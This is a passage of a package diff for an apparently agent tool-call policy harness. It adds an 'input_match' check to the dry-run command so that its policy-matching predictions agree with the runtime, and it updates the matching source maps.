QAC5K,MAAM,EAAE;YACN,mKAAmK;YACnK,GAAG,wBAAwB,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,IAAI,CAAC;SAC3C;KACF,CAAC;AACJ,CAAC"}
+{"version":3,"file":"bypass-without-auto-approve.js","sourceRoot":"","sources":["../../../src/cli/doctor/bypass-without-auto-approve.ts"],"names":[],"mappings":"AAAA,iEAAiE;AACjE,0EAA0E;AAC1E,sEAAsE;AACtE,6CAA6C;AAC7C,qEAAqE;AACrE,qEAAqE;AACrE,yEAAyE;AACzE,uEAAuE;AACvE,6DAA6D;AAC7D,oEAAoE;AACpE,EAAE;AACF,qDAAqD;AACrD,qEAAqE;AACrE,qEAAqE;AACrE,yDAAyD;AACzD,mEAAmE;AACnE,yEAAyE;AACzE,wEAAwE;AACxE,EAAE;AACF,kEAAkE;AAClE,sEAAsE;AACtE,iEAAiE;AACjE,EAAE;AACF,uEAAuE;AACvE,kEAAkE;AAClE,wEAAwE;AACxE,sEAAsE;AACtE,yEAAyE;AACzE,yEAAyE;AACzE,wEAAwE;AACxE,mEAAmE;AACnE,qEAAqE;AACrE,sEAAsE;AACtE,yEAAyE;AACzE,uEAAuE;AACvE,qEAAqE;AACrE,wEAAwE;AACxE,sEAAsE;AACtE,uEAAuE;AACvE,qCAAqC;AACrC,mEAAmE;AACnE,yEAAyE;AACzE,wBAAwB;AAExB,OAAO,EACL,mBAAmB,EACnB,cAAc,EACd,8BAA8B,EAC9B,gBAAgB,EAChB,qBAAqB,EACrB,wBAAwB,EACxB,kBAAkB,GACnB,MAAM,sEAAsE,CAAC;AAE9E,OAAO,EAAE,4BAA4B,EAAE,MAAM,6BAA6B,CAAC;AAE3E,yFAAyF;AACzF,MAAM,WAAW,GAAG,mBAAmB,CAAC;AAmBxC;;;;;;;;;;;;;;;;;GAiBG;AACH,MAAM,UAAU,6BAA6B,CAC3C,QAAkB,EAClB,YAAoB,EACpB,IAAgC;IAEhC,MAAM,IAAI,GAAG,4BAA4B,CAAC,QAAQ,CAAC,CAAC;IACpD,IAAI,CAAC,IAAI;QAAE,OAAO,SAAS,CAAC;IAE5B,MAAM,YAAY,GAAG,8BAA8B,CAAC,YAAY,EAAE;QAChE,UAAU,EAAE,IAAI,CAAC,cAAc;KAChC,CAAC,CAAC;IACH,MAAM,cAAc,GAAG,YAAY,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,cAAc,KAAK,WAAW,CAAC,CAAC;IAC1F,IAAI,CAAC,cAAc;QAAE,OAAO,SAAS,CAAC;IAEtC,MAAM,WAAW,GAAG,gBAAgB,CAAC,IAAI,CAAC,MAAM,CAAC,cAAc,CAAC,CAAC,CAAC;IAClE,MAAM,OAAO,GACX,qBAAqB,CAAC,WAAW,EAAE,WAAW,CAAC;QAC/C,cAAc,CAAC,WAAW,EAAE,mBAAmB,CAAC,CAAC;IACnD,IAAI,OAAO;QAAE,OAAO,SAAS,CAAC;IAE9B,kEAAkE;IAClE,sEAAsE;IACtE,MAAM,SAAS,GAAG,kBAAkB,CAAC,cAAc,CAAC,SAAS,CAAC,CAAC;IAC/D,MAAM,UAAU,GAAG,kBAAkB,CAAC,cAAc,CAAC,UAAU,CAAC,CAAC;IACjE,OAAO;QACL,SAAS;QACT,UAAU;QACV,OAAO,EAAE,0CAA0C,SAAS,KAAK,UAAU,0MAA0M;QACrR,MAAM,EAAE;YACN,mKAAmK;YACnK,GAAG,wBAAwB,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,IAAI,CAAC;SAC3C;KACF,CAAC;AACJ,CAAC"}

package/dist/cli/dry-run.js

@@ -1,5 +1,5 @@
 import { stringify as stringifyYaml } from "yaml";
-import { evaluateExtract, substituteTemplate, } from "../policies/index.js";
+import { evaluateExtract, firstInputMatchMismatch, substituteTemplate, } from "../policies/index.js";
 import { normalizeCommand, normalizeCommandAmpAware, normalizeCommandQuoteAware, } from "../runtime/command-normalize.js";
 import { resolveGitContext } from "../runtime/git-context.js";
 import { EX_USAGE, HarnessExitError } from "./exit-codes.js";
@@ -38,6 +38,37 @@ function policyMatchesTool(policy, tool, toolInput) {
             reason: `--tool "${tool}" does not contain trigger.match "${policy.trigger.match}"`,
         };
     }
+    // `input_match` (task 2699b476): the SAME predicate `policyMatchesEvent`
+    // ANDs onto the tool-name match (`firstInputMatchMismatch`, called on
+    // the same single-object `toolArgs` context both sides build for a
+    // single-envelope input), so dry-run predicts
+    // `mcp__agent-tasks__task_finish` with `{"autoMerge": true}` as gated
+    // and the same verb without it as unmatched, exactly as the runtime
+    // decides. Leaving this arm out would reintroduce the debug-verb
+    // contradiction the bash_match arms below already document once for
+    // their own family: dry-run reporting "no policy matches" for a call
+    // `policy intercept` blocks. Parity holds only for what dry-run can
+    // express: `--input` is always a single JSON object, so it cannot
+    // reproduce the runtime's mixed tool_input/raw_input envelope
+    // (review round 1, task 2699b476 round 2): that arm is
+    // intercept-only by construction, not a gap in this mirror.
+    // This parity, and the mixed-envelope caveat, are recorded in
+    // docs/okf/debug-verb-selection.md's trigger-matching parity paragraph.
+    if (policy.trigger.input_match !== undefined) {
+        const mismatch = firstInputMatchMismatch(policy.trigger.input_match, {
+            toolArgs: toolInput,
+        });
+        if (mismatch !== null) {
+            return {
+                matched: false,
+                reason: mismatch.missing
+                    ? `trigger.input_match needs ${mismatch.expression} in tool_input ` +
+                        `(expected ${JSON.stringify(mismatch.expected)})`
+                    : `trigger.input_match ${mismatch.expression} is ` +
+                        `${JSON.stringify(mismatch.actual)}, not ${JSON.stringify(mismatch.expected)}`,
+            };
+        }
+    }
     if (policy.trigger.bash_match !== undefined) {
         const args = toolInput;
         if (!args || typeof args.command !== "string") {

package/dist/cli/dry-run.js.map

@@ -1 +1 @@
-{"version":3,"file":"dry-run.js","sourceRoot":"","sources":["../../src/cli/dry-run.ts"],"names":[],"mappings":"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"}
+{"version":3,"file":"dry-run.js","sourceRoot":"","sources":["../../src/cli/dry-run.ts"],"names":[],"mappings":"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